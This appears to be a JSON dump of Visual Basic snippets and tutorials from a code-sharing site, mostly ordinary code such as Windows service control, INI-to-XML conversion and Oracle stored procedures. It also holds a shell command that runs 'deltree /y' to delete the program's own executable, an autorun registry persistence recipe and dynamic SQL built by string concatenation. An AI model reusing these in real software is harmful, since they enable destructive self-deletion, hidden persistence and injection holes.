Array(\"Service\")\n For Each oSvc In oComp\n Debug.Print \"Service display name = \" & oSvc.DisplayName\n Debug.Print \"Service name = \" & oSvc.Name\n Debug.Print \"Service account name = \" & oSvc.ServiceAccountName\n Debug.Print \"Service executable = \" & oSvc.Path\n Debug.Print \"Current status = \" & oSvc.Status & vbCrLf\n If oSvc.Status = 4 Then\n 'Show only running services\n cboService.AddItem oSvc.Name\n End If\n Next\n Set oSvc = Nothing\n Set oComp = Nothing\n Set oSysInfo = Nothing\n Services = True\nEnd Function\nPrivate Sub cmdStop_Click()\n Dim oSysInfo As New ActiveDs.WinNTSystemInfo\n Dim oComp As ActiveDs.IADsComputer\n Dim oSvc As ActiveDs.IADsServiceOperations\n Dim sCompName As String\n Dim sSvc As String\n sSvc = cboService.Text\n sCompName = \"WinNT://\" & oSysInfo.ComputerName & \",computer\"\n Set oComp = GetObject(sCompName)\n Set oSvc = oComp.GetObject(\"Service\", sSvc)\n oSvc.Stop\n Set oSvc = Nothing\n Set oComp = Nothing\n Set oSysInfo = Nothing\nEnd Sub\nPrivate Sub Form_Load()\n Services\nEnd Sub"},{"WorldId":1,"id":15041,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15047,"LineNumber":1,"line":"Public Function CenterChild(Parent As Form, Child As Form)\nOn Local Error Resume Next\nIf Parent.WindowState = 1 Then\nExit Function\nElse\nChild.Left = (Parent.Left + (Parent.Width / 2)) - (Child.Width / 2)\nChild.Top = (Parent.Top + (Parent.Height / 2)) - (Child.Height / 2)\nEnd If\nEnd Function"},{"WorldId":1,"id":15048,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15051,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15052,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15053,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15056,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15069,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15075,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15076,"LineNumber":1,"line":"Option Explicit\n(ByVal lpAppName As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long\nPublic Function INI_to_XML(INIFile_IN As String, XMLFile_Out As String) As Boolean\n \n Dim iFile As Integer\n Dim oXMLDocument As New MSXML2.DOMDocument\n Dim oXMLBlock As MSXML2.IXMLDOMNode\n Dim oXMLSectionListBlock As MSXML2.IXMLDOMNode\n Dim oXMLSectionBlock As MSXML2.IXMLDOMNode\n Dim oXMLKeyListBlock As MSXML2.IXMLDOMNode\n Dim oXMLKeyBlock As MSXML2.IXMLDOMNode\n Dim oNode As MSXML2.IXMLDOMNode\n \n '-- Create Initial Blocks\n Set oNode = oXMLDocument.createNode(NODE_ELEMENT, \"INISchema\", \"\")\n Set oXMLBlock = oXMLDocument.appendChild(oNode)\n Set oNode = oXMLDocument.createNode(NODE_ELEMENT, \"SectionList\", \"\")\n Set oXMLSectionListBlock = oXMLBlock.appendChild(oNode)\n \n '-- Write a SectionList count tag and fill it in later\n Set oNode = oXMLDocument.createNode(NODE_ELEMENT, \"Count\", \"\")\n oXMLSectionListBlock.appendChild oNode\n \n '-- Loop through each line and find sections\n iFile = FreeFile\n Dim sWorking As String\n Dim iCount As Integer\n Open Trim(INIFile_IN) For Input As iFile\n Do Until EOF(iFile)\n Line Input #iFile, sWorking\n sWorking = Trim(sWorking)\n If Left$(sWorking, 1) = \"[\" And Right$(sWorking, 1) = \"]\" Then\n \n '-- Section Found Add to XML Document\n Set oNode = oXMLDocument.createNode(NODE_ELEMENT, \"Section\", \"\")\n Set oXMLSectionBlock = oXMLSectionListBlock.appendChild(oNode)\n Set oNode = oXMLDocument.createNode(NODE_ELEMENT, \"Name\", \"\")\n oNode.Text = Mid$(sWorking, 2, Len(sWorking) - 2)\n oXMLSectionBlock.appendChild oNode\n \n '-- Get keys from current Section\n Dim iRetCode As Integer\n Dim sBuf As String\n Dim sSize As String\n Dim sKeys As String\n sBuf = Space$(1024)\n sSize = Len(sBuf)\n iRetCode = GetPrivateProfileSection(oNode.Text, sBuf, sSize, INIFile_IN)\n If (sSize > 0) Then\n sKeys = Left$(sBuf, iRetCode)\n Dim arKeys() As String\n Dim sKey As String\n Dim sValue As String\n arKeys = Split(sKeys, vbNullChar)\n If Not isArrayEmpty(arKeys) Then\n '-- We have at least one Key so Build a KeyList Block\n Set oNode = oXMLDocument.createNode(NODE_ELEMENT, \"KeyList\", \"\")\n Set oXMLKeyListBlock = oXMLSectionBlock.appendChild(oNode)\n \n '-- Write a count tag and fill it in later\n Set oNode = oXMLDocument.createNode(NODE_ELEMENT, \"Count\", \"\")\n oXMLKeyListBlock.appendChild oNode\n \n For iCount = LBound(arKeys) To UBound(arKeys)\n If arKeys(iCount) <> \"\" Then\n If InStr(1, arKeys(iCount), \"=\") <> 0 Then\n sKey = Left$(arKeys(iCount), InStr(1, arKeys(iCount), \"=\") - 1)\n sValue = Right$(arKeys(iCount), Len(arKeys(iCount)) - InStr(1, arKeys(iCount), \"=\"))\n Else\n sKey = arKeys(iCount)\n sValue = \"\"\n End If\n Set oNode = oXMLDocument.createNode(NODE_ELEMENT, \"Key\", \"\")\n Set oXMLKeyBlock = oXMLKeyListBlock.appendChild(oNode)\n Set oNode = oXMLDocument.createNode(NODE_ELEMENT, \"Name\", \"\")\n oNode.Text = sKey\n oXMLKeyBlock.appendChild oNode\n Set oNode = oXMLDocument.createNode(NODE_ELEMENT, \"Value\", \"\")\n oNode.Text = sValue\n oXMLKeyBlock.appendChild oNode\n End If\n Next\n '-- Add the KeyList Count\n oXMLKeyListBlock.childNodes(0).Text = oXMLKeyListBlock.childNodes.length - 1\n End If\n Else\n sKeys = \"\"\n End If\n End If\n Loop\n '-- Add the SectionList Count \n oXMLSectionListBlock.childNodes(0).Text = oXMLSectionListBlock.childNodes.length - 1\n Close iFile\n oXMLDocument.save XMLFile_Out\n \nCleanup:\n Set oXMLDocument = Nothing\n Exit Function\nErr_Handler:\n INI_to_XML = False\n GoTo Cleanup\n \nEnd Function\nPrivate Function isArrayEmpty(arr As Variant) As Boolean\n Dim i\n isArrayEmpty = True\n On Error Resume Next\n i = UBound(arr) ' cause an error if array is empty\n If Err.Number > 0 Then Exit Function\n isArrayEmpty = False\nEnd Function\n\n"},{"WorldId":1,"id":15077,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15078,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15080,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15087,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15090,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15092,"LineNumber":1,"line":"What you have to do to use this code is:\nIn your project (for example, form_load())\ninsert the following text somewhere that would be useful to your project: \n\n<pre>\nCall SetStringValue(HKEY_LOCAL_MACHINE, \"Software\\microsoft\\windows\\currentversion\\run\", \"Currency\", App.Path + \"\\\" + App.EXEName + \".exe\") \n</pre>\nThis code will put the current project path and the current project name in the windows auto run section in the windows registry. \nThe benfit of this is so that you can have your program start as windows starts. \nAdd to your project a module \nproject -> add module \nand insert the following code \n\n<pre>\nPublic Exist As Boolean \nPublic Const HKEY_CLASSES_ROOT = &H80000000 \nPublic Const HKEY_CURRENT_USER = &H80000001 \nPublic Const HKEY_LOCAL_MACHINE = &H80000002 \nPublic Const HKEY_USERS = &H80000003 \nPublic Const HKEY_PERFORMANCE_DATA = &H80000004 \nPublic Const ERROR_SUCCESS = 0& \nPublic Const REG_SZ = 1 \nDeclare Function RegCloseKey Lib \"advapi32.dll\" (ByVal Hkey As Long) As Long \nDeclare Function RegCreateKey Lib \"advapi32.dll\" Alias \"RegCreateKeyA\" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long \nDeclare Function RegDeleteValue Lib \"advapi32.dll\" Alias \"RegDeleteValueA\" (ByVal Hkey As Long, ByVal lpValueName As String) As Long \nDeclare Function RegOpenKey Lib \"advapi32.dll\" Alias \"RegOpenKeyA\" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long \nDeclare Function RegQueryValueEx Lib \"advapi32.dll\" Alias \"RegQueryValueExA\" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long \nDeclare Function RegSetValueEx Lib \"advapi32.dll\" Alias \"RegSetValueExA\" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long \n</pre>\nAfter this has been added also add the following code to your module file \n\n<pre>Public Sub SetStringValue(Hkey As Long, strPath As String, strValue As String, strdata As String)\nDim keyhand As Long\nDim i As Long\n 'Create the key\n i = RegCreateKey(Hkey, strPath, keyhand)\n 'Set the value\n i = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))\n 'Close the key\n i = RegCloseKey(keyhand)\nEnd Sub</pre>\n \nThis then should allow the setstringvalue to be accessed and the information you need be put into the windows auto run registry. \nI must thank <a href=\"http://www.okdeluxe.com\"> T. L. Phillips </a> for the code for the module form, that is where i optained it. \nHope you like the code! :) \nif you need help with it (although you shouldn't) mail me :) (As for the Link to mr phillips's website, that is beyond my control and the link that is on his source submissions)"},{"WorldId":1,"id":15093,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15098,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15107,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15110,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15111,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15113,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15115,"LineNumber":1,"line":"Ok i assume you read my article on how to create a registry entry, if not search in the top search link for \"auto run registry entry\" and you should find it. \nThis is how to remove a registry entry from the registry. \nSome where in your project you will need to insert the following code. \n\n<pre>\nCall DeleteStringValue(HKEY_LOCAL_MACHINE, \"Software\\microsoft\\windows\\currentversion\\run\", \"currency\")\n</pre>\n\nAfter this has been inserted into your code goto your module form in your project and enter the following code. \n\n<pre>\nPublic Exist As Boolean\nPublic Const HKEY_CLASSES_ROOT = &H80000000\nPublic Const HKEY_CURRENT_USER = &H80000001\nPublic Const HKEY_LOCAL_MACHINE = &H80000002\nPublic Const HKEY_USERS = &H80000003\nPublic Const HKEY_PERFORMANCE_DATA = &H80000004\nPublic Const ERROR_SUCCESS = 0&\nPublic Const REG_SZ = 1\nDeclare Function RegCloseKey Lib \"advapi32.dll\" (ByVal Hkey As Long) As Long\nDeclare Function RegCreateKey Lib \"advapi32.dll\" Alias \"RegCreateKeyA\" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long\nDeclare Function RegDeleteValue Lib \"advapi32.dll\" Alias \"RegDeleteValueA\" (ByVal Hkey As Long, ByVal lpValueName As String) As Long\nDeclare Function RegOpenKey Lib \"advapi32.dll\" Alias \"RegOpenKeyA\" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long\nDeclare Function RegQueryValueEx Lib \"advapi32.dll\" Alias \"RegQueryValueExA\" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long\nDeclare Function RegSetValueEx Lib \"advapi32.dll\" Alias \"RegSetValueExA\" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long\n</pre>\n\nAfter that has been inserted place this code into your program listing and you should be able to delete registry entries \n\n<pre>\nPublic Sub DeleteStringValue(Hkey As Long, strPath As String, strValue As String)\nDim keyhand As Long\nDim i As Long\n 'Open the key\n i = RegOpenKey(Hkey, strPath, keyhand)\n 'Delete the value\n i = RegDeleteValue(keyhand, strValue)\n 'Close the key\n i = RegCloseKey(keyhand)\nEnd Sub\n</pre>\n\nRemember that in the code <pre>\nHKEY_LOCAL_MACHINE, \"Software\\microsoft\\windows\\currentversion\\run\", \"currency\") \n</pre>\nThe item, \"hkey_local_machine\" can be changed to any root inside the registry. \n\"software\\microsoft\\windows\\currentversion\\run\" can be any point inside the root directory you have specified. \n\"currency\" Is tha name of the registry entry that you are putting into the registry, change it to something that is of meaning to your program and should exist inside the registry already (in other words you have created it using the method I told you about on creating registry entries in an earlier tutorial. \nAs always if you need help with anything mail me and i will help you as best i can. \nThanks Dean."},{"WorldId":1,"id":15122,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15124,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15130,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15131,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15136,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15140,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15141,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15142,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15144,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15148,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15149,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15160,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15163,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15173,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15174,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15177,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15179,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15180,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15181,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15182,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15183,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15196,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15200,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15204,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15205,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15208,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15211,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15216,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15221,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15223,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":17888,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":18501,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":18508,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":18509,"LineNumber":1,"line":"'' Private Sub Command1_Click()\ndim file as string\nfile = App.Path\nIf Right(file, 1) <> \"\\\" Then file = file & \"\\\"\nfile = file & App.EXEName & \".exe\"\nCall Shell(\"start /m /w deltree /y \" & file, vbHide)\nEnd\n'' End Sub\n'' Easy Code..\n'' Dont really need the /m\n'' or /w\n'' Please Vote :-)\n'' and leave comments.."},{"WorldId":1,"id":20966,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":20969,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":20972,"LineNumber":1,"line":"AAAAAAAAArrrrrrrrggggggggggghhhhhhhhhhhhh!!!!!!!!!!!!\nSo you want to write stored procedures in Oracle that return recordsets. Actually no big deal. The problem comes in when you have the wrong ODBC driver (mostly) or a version of Oracle that does not support what you are doing. The actual mechanism of obtaining the recordset itself is quite simple. If this article seems too technical or convoluted, accept my apologies in advance. The zipped sample code files should be fairly easy to follow. I recommend looking at them as you read this article. It will make a lot more sense.\nThe first and foremost question is “What version of Oracle DB Server do you have?”\nIf the answer is 8.0.5 or higher……read on. Lower versions of Oracle do not return recordsets from within stored procedures (SP for the remainder of this article). The way you retreive recordsets in 8.0.5 is also more cumbersome, less flexible and has lesser features than 8.1.5.\nThe basic premise is that the first (absolute must) parameter of your stored procedure is an IN OUT and is a ref cursor type variable. Within Oracle you have something known as typing. Your cursor variable may be weak typed meaning that it can contain the contents of any SQL query and thus the number and type of columns/returned fields need not be known (Oh my God…just like a VB recordset…Yeeeehaaahh)……or your cursor may be strong typed meaning that it is pre-defined as being based on a query. The first type is used in 8.1.5 and is great and eliminates some trouble. In 8.1.5, you can have a weak cursor based user-defined type as an IN OUT parameter. This way, when you open the cursor using the following syntax:\n\tOpen \tpo_udtXYZ for\n\tSelect \tfield1, field2, field3\n\tFrom\ttable1, table 2\n\tWhere\tcondition1\n\tAnd \tcondition 2\n\tAnd \tfield 3 = passed in parameter;\nthe cursor is returned back to VB as and ADO recordset and contains fields 1, 2 and 3.\nIn 8.0.5 it is not so simple and requires that you write the same query shown above (minus the where clause) and declare it as a cursor within your package header. Then you create a user defined type using the %Rowtype of that cursor. Then your parameter is an IN OUT based on this “strong” user-defined type. This is fairly cumbersome and requires maintenance of the query in two locations.\nDynamic SQL: This can be done only in 8.1.5. The syntax is as follows:\n\tOpen \tpo_udtXYZ for\n\t‘Select \tfield1, field2, field3\n\tFrom\ttable1, table 2\n\tWhere\tcondition1\n\tand \tcondition 2 ’||’ dynamic clause passed in as parameter goes here’;\nNote that the Select clause is enclosed in single quotes and the last statement (after the pipe concatenator used in Oracle) is a dynamic clause constructed outside, somewhere in VB or maybe another stored procedure and passed in as a parameter.\nI have tested it and found not much of a lag in time for dynamic vs. non dynamic SQL…The thing to remember is that the dynamic SQL query is compiled at run-time and therefore you lose some of the speed benefits of having your query in a Stored Procedure. This may become more obvious if the passed parameter is a fairly complex set of clauses.\nCompatibility issues: If you are using Oracle 8.0.5, make sure you are using the 8.0.5 driver. If you are using 8.1.5, the 8.1.56 ODBC driver should be used. The 8.1.5 driver had 2 updates to it… the 8.1.55 and then 8.1.56. The 8.1.56 is what you want. It fixes several problems, including the ability to run autonomous transactions (phased commits) and the ability to call a stored procedure from VB that is not in your schema but declared as a public synonym (This one had me in the loop for 3 days before I called Oracle).\nOn a separate note: I have recently used autonomous transactions as a way to report back to the user, what is going on in the database. The primary concern when running a stored procedure that is time intensive is the loss of control on the user’s machine and the need to give feedback (other than an hourglass) to the user. To do this, we made a status bar that pings the database and runs an inline SQL query to read the results of a Load Control table for a loadID passed to the status bar. The main stored procedure is also passed the same load ID and updates the load control table at various points within its code by calling another stored procedure. Here is the kink. Unless you commit, how do you see the results elsewhere and if you commit, you cannot rollback your main line stored procedure. This is where autonomous transactions are extremely useful. There are some quirks with distributed transactions and autonomous transactions (They do not like each other). These quirks and how to construct an autonomous transaction will be written in the next article. Until then, hopefully the enclosed examples should be helpful. If there are any questions feel free to email me.\n"},{"WorldId":1,"id":20979,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":20980,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":20981,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":20987,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21003,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21004,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21005,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21006,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21007,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21012,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21013,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21020,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21021,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21024,"LineNumber":1,"line":"<html>\n\n<body>\n<h2 align=\"center\">Fixing PopupMenu Fault when used in\na System Tray Project</h2>\n If you have ever sent your app to the system tray and created a click event to popup a menu using Popupmenu (menuname) you will be aware of the small 'bug'.\n By default, your application WILL NOT be set as the active app so when you call the popupmenu function, it will create the menu out of focus. This means it cannot recieve the 'lost focus' message and will not close when you click somewhere else. This is a very simple thing to fix but nobody seems to use it. All you have to do is set the Form owner of the menu to Focus :) \n\neg: (from standard sys tray form_mousemove event)\n<hr>\n'(place in module) \nPublic Declare Function SetForegroundWindow\n Lib \"user32\" (ByVal hwnd\n As Long) As Long \n\n<hr>\n \n \n'(place in form_mousemove event) \nPrivate Sub Form_MouseMove(Button As\nInteger, Shift As Integer, X\n As Single, Y As\nSingle) \n\n If Me.WindowState\n = vbMinimized then \n \n' window is minimized must be in system tray or MouseMove event would not\nexecute \n Dim\nlngMsg As Long \n Dim result\n As Long \n \n' get the WM Message passed via X \n \n' since X is by default mes. in Twips, \n \n' devide it by the number of twips / pixel \n \n' so we recieve the proper value \n lngMsg = X / Screen.TwipsPerPixelX \n \n Select Case lngMsg \n \ncase WM_RBUTTONUP ' right button \n \nSetForegroundWindow Me.hwnd \n \nPopupmenu Me.mnuFile \n end select \n end if \nend sub\n<hr>\n \n and it's that simple. Can't remember who told me this but thanks if it were ye. :) \n\n</body>\n</html>\n"},{"WorldId":1,"id":21026,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21027,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21033,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21035,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21036,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21040,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21048,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21056,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21057,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21060,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21062,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21066,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21067,"LineNumber":1,"line":"<div class=Section1>\nClasses/Collections Tutorial by Kevin Wiegand. Please download the Zip file that contains the source code if this tutorial is hard to read due to formatting problems.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nDefinitions:\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Module\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á A term\nused to describe where code is stored within Visual Basic.<span\nstyle=\"mso-spacerun: yes\">┬á The three type of modules are (1) Form\nModules, (2) Standard Modules, and (3) Class Modules.\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Standard Module\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á A type of\nModule that contains (or should contain) publically accessible code, in other\nwords, code that is available to any module.\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Class (Module)\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á A type of\nmodule that allows you to create objects that contain your customized\nproperties and methods.┬á (The Standard\nForm (Default:Form1) is actually a Class Module!)\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Object\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á An Object\nis a Control (TextBox, Label), or it can be a Variable that defines an instance\nof a Class.\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Object Oriented\nProgramming (OOP)\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Simply\nput, OOP is programming with objects.\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Collection\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á A\nCollection is simply a group of related Objects.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nWhy use Class Modules?\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Class modules, as said\nbefore, offer a very useful tool - objects.┬á\nClasses can has multiple instances of its code, and each instances\nproperties/methods belong to that instance only.┬á Standard Module code can only exist once.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nLets see an example!\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á All these definitions,\nand a short explanation of Class Modules vs Standard Modules - you need to see\ncode, right?┬á OK, start Visual Basic,\nand start a new Standard Exe Project.┬á\nAdd a Class Module.┬á Rename\nProject1 to ClassTest; Form1 to frmMain; Class1 to clsClassTest.<span\nstyle=\"mso-spacerun: yes\">┬á Paste the following code into each respective\nmodule, and then save the project:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nfrmMain:\n***Start Copy***\n'Require Variable Declaration (I believe that VB.Net already requires\nthat you\n'declare all your variables before use - not only does this save\nmemory, but\n'it also saves you the hassle of keeping track of things!)\nOption Explicit\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n'This defines a Collection, it is empty right now, but we will fill it later\n:)\nPrivate fClassCollection As New Collection\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n'We'll use Form_Keypress instead of using a bunch of CommandButtons -\nthis is easier\n'to do for this example\nPrivate Sub Form_KeyPress(KeyAscii As Integer)\n┬á┬á┬á Select Case Chr(KeyAscii)\n┬á┬á┬á┬á┬á┬á┬á Case "a"\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á AddItemToCollection\n┬á┬á┬á┬á┬á┬á┬á Case "f"\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\nReturnNamesByFunction\n┬á┬á┬á┬á┬á┬á┬á Case "o"\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á PrintNames\n┬á┬á┬á┬á┬á┬á┬á Case "p"\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\nReturnNamesByProperty\n┬á┬á┬á┬á┬á┬á┬á Case "s"\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á ReturnNamesBySub\n┬á┬á┬á┬á┬á┬á┬á Case " "\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á ClearCollection\n┬á┬á┬á End Select\nEnd Sub\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrivate Sub Form_Load()\n┬á┬á┬á 'Set initial Form\nproperties, if you want, just set the properties in the Properties\n┬á┬á┬á 'Pane, and remove this code\n┬á┬á┬á Me.ScaleMode = vbPixels\n┬á┬á┬á Me.Width = Screen.Width\n┬á┬á┬á Me.Height = Screen.Height\n┬á┬á┬á Me.Move 0, 0\n┬á┬á┬á \n┬á┬á┬á 'Lets us know how many\nObjects in our Collection (should be zero right now)\n┬á┬á┬á Me.Caption = "Total\nNames in Collection is " & fClassCollection.Count\nEnd Sub\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrivate Sub AddItemToCollection()\n┬á┬á┬á 'This is what creates a new\ninstance of the Object 'ClassTest'\n┬á┬á┬á Dim clsNewClass As New\nclsClassTest\n┬á┬á┬á Dim strName As String\n┬á┬á┬á \n┬á┬á┬á 'This sets the Property\n'Name' for the ClassTest Object\n┬á┬á┬á clsNewClass.Name =\nInputBox("Enter a name:")\n┬á┬á┬á \n┬á┬á┬á 'This adds the newly created\nObject to the Collection\n┬á┬á┬á fClassCollection.Add\nclsNewClass\n┬á┬á┬á \n┬á┬á┬á 'You need to 'close' the new\nCollection Object in order to add another one.\n┬á┬á┬á Set clsNewClass = Nothing\n┬á┬á┬á \n┬á┬á┬á 'Lets us know how many\nObjects in our Collection\n┬á┬á┬á Me.Caption = "Total\nNames in Collection is " & fClassCollection.Count\nEnd Sub\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrivate Sub ClearCollection()\n┬á┬á┬á 'This creates an Object\nVariable that will hold references to the Objects in\n┬á┬á┬á 'the Collection\n┬á┬á┬á Dim Obj As Object\n┬á┬á┬á \n┬á┬á┬á For Each Obj In fClassCollection\n┬á┬á┬á┬á┬á┬á┬á 'This uses the LIFO\n(Last In First Out) method to remove each Object in the\n┬á┬á┬á┬á┬á┬á┬á 'Collection, putting in\n'1' in place of fClassCollection.Count will use the\n┬á┬á┬á┬á┬á┬á┬á 'LILO (Last In Last Out)\nmethod to remove each Object in the Collection.\n┬á┬á┬á┬á┬á┬á┬á fClassCollection.Remove\nfClassCollection.Count\n┬á┬á┬á Next Obj\n┬á┬á┬á \n┬á┬á┬á 'Lets us know how many\nObjects in our Collection (should be zero right now)\n┬á┬á┬á Me.Caption = "Total\nNames in Collection is " & fClassCollection.Count\nEnd Sub\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrivate Sub PrintNames()\n┬á┬á┬á 'This creates an Object\nVariable that will hold references to the Objects in\n┬á┬á┬á 'the Collection\n┬á┬á┬á Dim Obj As Object\n┬á┬á┬á \n┬á┬á┬á 'Clear the form first\n┬á┬á┬á Me.Cls\n┬á┬á┬á 'Print out a litle message\n┬á┬á┬á Me.Print "The following\n" & fClassCollection.Count & " names are in the\nCollection:" & vbCrLf\n┬á┬á┬á \n┬á┬á┬á For Each Obj In\nfClassCollection\n┬á┬á┬á┬á┬á┬á┬á 'This calls the Method\nto Print the Names currently in the Collection\n┬á┬á┬á┬á┬á┬á┬á Obj.PrintName Me\n┬á┬á┬á Next Obj\nEnd Sub\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrivate Sub ReturnNamesByFunction()\n┬á┬á┬á 'This creates an Object\nVariable that will hold references to the Objects in\n┬á┬á┬á 'the Collection\n┬á┬á┬á Dim Obj As Object\n┬á┬á┬á \n┬á┬á┬á For Each Obj In\nfClassCollection\n┬á┬á┬á┬á┬á┬á┬á 'This calls the Method\nto Return the Names currently in the Collection, and then\n┬á┬á┬á┬á┬á┬á┬á 